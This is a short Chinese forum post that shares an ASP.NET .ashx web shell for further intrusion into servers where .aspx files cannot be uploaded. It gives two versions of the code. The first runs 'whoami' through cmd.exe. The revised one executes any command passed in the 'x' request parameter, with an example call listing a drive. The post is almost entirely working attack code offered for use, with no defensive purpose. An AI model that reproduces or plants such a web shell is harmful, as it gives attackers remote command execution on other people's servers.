在碰到很多站时,只支持aspx环境,且不能写入和创建aspx文件的时候可以传ashx文件进行进一步渗透。。。
这几天在搞一站碰到极其变态环境,于是有了下面的小程序。。。
<%@ WebHandler Language="C#" Class="Handler2" %>using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Web;public class Handler2 : IHttpHandler {
public void ProcessRequest (HttpContext context) {
//string x = "-an";
Process prc=new Process();
prc.StartInfo.FileName="cmd.exe";
prc.StartInfo.UseShellExecute=false;
prc.StartInfo.RedirectStandardInput = true;
prc.StartInfo.RedirectStandardOutput = true;
prc.StartInfo.RedirectStandardError = true;
prc.StartInfo.CreateNoWindow = false;
prc.Start();
prc.StandardInput.WriteLine("whoami"); //也可组合X 执行命令。。
prc.StandardInput.Close();
context.Response.Write(prc.StandardOutput.ReadToEnd());
context.Response.End(); }
public bool IsReusable {
get {
return false;
}
}}
上传或创建为ashx文件即可。
楼下有会员提示用参数带入。。修改如下:
<%@ WebHandler Language="C#" Class="Handler2" %>
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Web;
public class Handler2 : IHttpHandler {
public void ProcessRequest (HttpContext context) {
//string x = "-an";
string x = context.Request["x"];
Process prc=new Process();
prc.StartInfo.FileName="cmd.exe";
prc.StartInfo.UseShellExecute=false;
prc.StartInfo.RedirectStandardInput = true;
prc.StartInfo.RedirectStandardOutput = true;
prc.StartInfo.RedirectStandardError = true;
prc.StartInfo.CreateNoWindow = false;
prc.Start();
prc.StandardInput.WriteLine(x);
prc.StandardInput.Close();
context.Response.Write(prc.StandardOutput.ReadToEnd());
context.Response.End();}
public bool IsReusable {
get {
return false;
}
}}
x.ashx?x=dir d: